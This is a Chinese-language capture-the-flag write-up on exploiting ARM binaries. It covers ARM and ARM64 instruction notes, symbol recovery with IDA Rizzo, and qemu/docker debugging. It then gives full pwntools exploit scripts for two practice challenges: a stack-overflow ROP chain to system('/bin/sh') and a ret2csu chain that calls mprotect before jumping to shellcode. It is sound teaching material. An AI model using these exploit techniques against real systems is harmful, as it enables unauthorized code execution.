前言

arm指令

arm 下的函数调用约定:

函数的第 1 ~ 4 个参数分别保存在 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈,

被调用者实现栈平衡,函数的返回值保存在 r0 中。

arm 的 b/bl 等指令实现跳转; pc 寄存器相当于 x86 的 eip,保存下一条指令的地址

BL 是另一个跳转指令,但跳转之前,会在寄存器R14中保存PC的当前内容,因此,可以通过将R14 的内容重新加载到PC中,来返回到跳转指令之后的那个指令处执行。

LDR{条件} 目的寄存器,<存储器地址>

LDR指令用于从存储器中将一个32位的字数据传送到目的寄存器中。该指令通常用于从存储器中读取32位的字数据到通用寄存器,然后对数据进行处理。

当程序计数器PC作为目的寄存器时,指令从存储器中读取的字数据被当作目的地址,从而可以实现程序流程的跳转。

LDR  R0,[R1]             ;将存储器地址为R1的字数据读入寄存器R0。
LDR  R0,[R1,R2]        ;将存储器地址为R1+R2的字数据读入寄存器R0。
LDR  R0,[R1,#8]        ;将存储器地址为R1+8的字数据读入寄存器R0。
LDR  R0,[R1,R2] !       ;将存储器地址为R1+R2的字数据读入寄存器R0,并将新地址R1+R2写入R1。
LDR  R0,[R1,#8] !       ;将存储器地址为R1+8的字数据读入寄存器R0,并将新地址R1+8写入R1。
LDR  R0,[R1],R2        ;将存储器地址为R1的字数据读入寄存器R0,并将新地址R1+R2写入R1。
LDR  R0,[R1,R2,LSL#2]! ;将存储器地址为R1+R2×4的字数据读入寄存器R0,并将新地址R1+R2×4写入R1。
LDR  R0,[R1],R2,LSL#2  ;将存储器地址为R1的字数据读入寄存器R0,并将新地址R1+R2×4写入R1。

TEQ{条件} 操作数1,操作数2

TEQ指令用于把一个寄存器的内容和另一个寄存器的内容或立即数进行按位的异或运算,并根据运算结果更新CPSR中条件标志位的值。该指令通常用于比较操作数1和操作数2是否相等。

STR{条件} 源寄存器,<存储器地址>

STR指令用于从源寄存器中将一个32位的字数据传送到存储器中。该指令在程序设计中比较常用,且寻址方式灵活多样,使用方式可参考指令LDR。

STR R0,[R1],#8 ;将R0中的字数据写入以R1为地址的存储器中,并将新地址R1+8写入R1。
STR R0,[R1,#8] ;将R0中的字数据写入以R1+8为地址的存储器中。

BX{条件} 目标地址

BX指令跳转到指令中所指定的目标地址,目标地址处的指令既可以是ARM指令,也可以是Thumb指令。

STMFD  R13!,{R0,R4-R12,LR}  ;将寄存器列表中的寄存器(R0,R4到R12,LR)存入堆栈。
LDMFD  R13!,{R0,R4-R12,PC}  ;将堆栈内容恢复到寄存器(R0,R4到R12,LR)。

ARM64开始, 取消32位的LDM,STM,PUSH,PHP指令, 取而代之的是ldr/ldp,str/stp

ARM64里面对栈的操作是16字节对齐的

str(store register)

将数据从寄存器存到栈中, 同时操作两个寄存器时, 使用stp

ldr(load register)

将数据从栈读到寄存器中, 同时操作两个寄存器时, 使用ldp

sub sp,sp,#0x20                  ;拉伸栈空间
stp x0,x1,[sp,#0x10]             ;将x0,x1分别存放在sp+0x10开始的栈中
ldp x1,x0,[sp,#0x10]             ;从sp+0x10为地址的栈中分别读取数据到x1,x0
add sp,sp,#0x20                  ;平栈
ldp x29, x30, [sp], #0x10:将用sp所在地址值给x29、x30赋值,sp+0x10释放空间,保持栈平衡

将用sp所在地址值给x29、x30赋值

img

参考链接:

https://blog.csdn.net/qq_40531974/article/details/83897559

img

恢复符号表

对于静态编译的 bianry, 可以使用 lscan, flirt, rizzo, bindiff 等多种方法恢复部分符号表

https://www.freebuf.com/articles/terminal/134980.html

arm架构的libc在 /usr/arm-linux-gnueabihf/lib里面

尝试恢复符号表:

(1)下载对应libc.so

sudo apt install libc6-armhf-cross cp /usr/arm-linux-gnueabihf/lib/libc-2.23.so ./

(2)下载rizzo插件

使用rizzo插件:

https://github.com/fireundubh/IDA7-Rizzo

放入:C:\Program Files\IDA 7.0\plugins

(3)用IDA打开libc-2.23.so

导出libc.23.so.riz:

File->Produce file->Rizzo signature file

(4)打开目标程序

加载.riz:

File->Load file->Rizzo signature file

题目分析

typo题目分析

题目是简单的栈溢出,但是溢出的函数找了半天,后来根据随机产生的字符串查找,下图中红色部分在IDA的流程里没有识别出来,导致以为main函数已经结束了,而溢出的部分正是在红色部分。

img

img

溢出函数(0xbd24):

img

使用read的系统调用:

img

因为栈不可执行,寻找rop链,要控制r0寄存器:

pi@raspberrypi:~/study/arm/typo $ ROPgadget --binary ./typo --only "pop"
Gadgets information
============================================================
0x00008d1c : pop {fp, pc}
0x00020904 : pop {r0, r4, pc}

找到0x20904,将“/bin/sh”地址赋给r0,并将system的地址赋给pc,就可以执行system(“/bin/sh”)

from pwn import *
context.log_level = 'debug'

payload = "A"*112 + p32(0x20904) + p32(0x6c384)*2 + p32(0x110b4)
p = process("./typo")
p.recvuntil("quit")
p.send("\n")
p.recvuntil("----")
p.sendline(payload)
p.interactive()

baby-arm题目分析

环境安装

安装类似 libc6-ARCH-cross 形式

运行:

静态链接的 binary 直接运行即可,会自动调用对应架构的 qemu;

动态链接的 bianry 需要用对应的 qemu 同时指定共享库路径,如下32位的动态链接 mips binary

使用 -L 指定共享库:

$ qemu-mipsel -L /usr/mipsel-linux-gnu/ ./add

调试:

可以使用 qemu 的 -g 指定端口

$ qemu-mipsel -g 1234 -L /usr/mipsel-linux-gnu/ ./add
然后使用gdb-multiarch进行调试,先指定架构,然后使用remote功能
pwndbg> set architecture mips (但大多数情况下这一步可以省略, 似乎 pwndbg 能自动识别架构)
pwndbg> target remote localhost:1234

这样我们就能进行调试了

使用qemu-system-aarch64 -L /usr/aarch64-linux-gnu/ ./baby_arm 执行动态链接的程序失败,改用docker环境。

docker安装指南:

https://www.runoob.com/docker/ubuntu-docker-install.html

拉取镜像:

docker pull skysider/multiarch-docker

mips程序调试环境折腾,arm也可以用,通过multiarch-docker

https://o0xmuhe.github.io/2018/04/19/mips%E7%A8%8B%E5%BA%8F%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%8A%98%E8%85%BE/

启动docker

$ docker run -it \
    --rm \
    -h baby_arm \
    --name baby_arm \
    -v $(pwd):/ctf/work \
    -P \
    --cap-add=SYS_PTRACE \
    skysider/multiarch-docker

运行docker镜像:

sudo docker ps -a 获得docker id

将所需文件复制到docker镜像中:
sudo docker cp ./baby_arm 207187a8a24d:/tmp/
 
docker exec -it id /bin/bash  运行两个
一个运行:
qemu-aarch64 -g 2333 ./demo
另一个运行:
gdb-multiarch ./demo 并在gdb中运行
target remote localhost:2333

docker里用pip install pwntools装不上,用下面的方式安装:

git clone https://github.com/Gallopsled/pwntools
cd pwntools
python setup.py install

官方说明:https://github.com/skysider/multiarch-docker

题目分析

img

该题有两次输入,第一次输入将数据放在.bss区,第二次输入存在一个栈溢出。

利用思路,将shellcode输入到.bss区,通过第二次输入的栈溢出进行rop,修改.bss区修改为可执行,并跳转到shellcode进行执行getshell。

利用 ret2csu 这种方法,可以找到如下的 gadgets 来控制 x0, x1, x2 寄存器

.text:00000000004008AC                 LDR             X3, [X21,X19,LSL#3] //0x400600
.text:00000000004008B0                 MOV             X2, X22 //5
.text:00000000004008B4                 MOV             X1, X23 //0x1000
.text:00000000004008B8                 MOV             W0, W24 //0x410000,w0为r0的低32位。
.text:00000000004008BC                 ADD             X19, X19, #1
.text:00000000004008C0                 BLR             X3
.text:00000000004008C4                 CMP             X19, X20
.text:00000000004008C8                 B.NE            loc_4008AC
.text:00000000004008CC
.text:00000000004008CC loc_4008CC                              ; CODE XREF: sub_400868+3Cj
.text:00000000004008CC                 LDP             X19, X20, [SP,#var_s10]
.text:00000000004008D0                 LDP             X21, X22, [SP,#var_s20]
.text:00000000004008D4                 LDP             X23, X24, [SP,#var_s30]
.text:00000000004008D8                 LDP             X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC                 RET
LDP             X19, X20, [SP,#var_s10] //0 1
LDP             X21, X22, [SP,#var_s20] // 0x400600 5
LDP             X23, X24, [SP,#var_s30]  //0x1000 0x410000
LDP             X29, X30, [SP+var_s0],#0x40 
RET

X19必须为0,因为获取函数地址时,X3, [X21,X19,LSL#3],对X3 = X21+X19«3进行操作 所以最终的栈空间分布为:

0x00000000004008cc	
0x0000000000000000
0x00000000004008ac	
0x0000000000000000
0x0000000000000001	
0x0000000000411098
0x0000000000000005	
0x0000000000001000
0x0000000000410000	
0x0000000000000000
0x0000000000411068

exp 代码:

from pwn import *

binary = "./baby_arm"
context.log_level = "debug"
context.binary = binary

#io = process(["qemu-aarch64", binary])
io = process(["qemu-aarch64","-g", "1234", binary])

def csu_rop(call, x0, x1, x2):
    payload = flat(0x4008cc,0,0x4008ac,0,1,call,x2,x1,x0,0)
    return payload

if __name__ == "__main__":
    elf = ELF("./baby_arm")
    shellcode_addr = 0x411068
    shellcode = ''#asm(shellcraft.aarch64.sh())
    shellcode = shellcode.ljust(0x30,'\x00')
    shellcode += str(p64(elf.plt["mprotect"]))
    #shellcode += str(p64(0x411030))
    io.recvuntil("Name")
    raw_input()
    io.sendline(shellcode)

    payload = "a" * 72
    payload += str(csu_rop(shellcode_addr+0x30, 0x410000, 0x1000, 5))
    payload += str(flat(shellcode_addr))
    io.sendline(payload)
    io.interactive()

按照docker环境,利用target remote进行调试,断点设在0x40080c

sub_4007F0->main->0x4008cc(布置参数)->0x4008ac(call mprotect)->0x411068(调用shellcode)

sub_4007F0函数返回时:

img

img

此时返回地址为0x400858,虽然read函数在sub_4007f0里,但arm架构很奇怪,把返回地址放在局部变量上面(即放在sp+0x8的地方,sp+0x0给x29),所以只能去覆盖main函数的返回地址。

main函数返回时:

img

img

执行0x4008cc:

img

img

执行0x4008ac,因为ret2csu执行的是一个函数指针,所以传入X21的应该是保存函数地址的地址:

img

去执行mprotect(0x410000,0x1000,5),0x400600是mprotect函数的.plt地址:

img

去执行shellcode:

img

img

因为pwntools生成aarch64的shellcode失败,所以就只是填充了’\x00’。

img

参考链接:

arm pwn http://m4x.fun/post/how-2-pwn-an-arm-binary/

题目链接:https://github.com/De4dCr0w/ctf-pwn/tree/master/ARM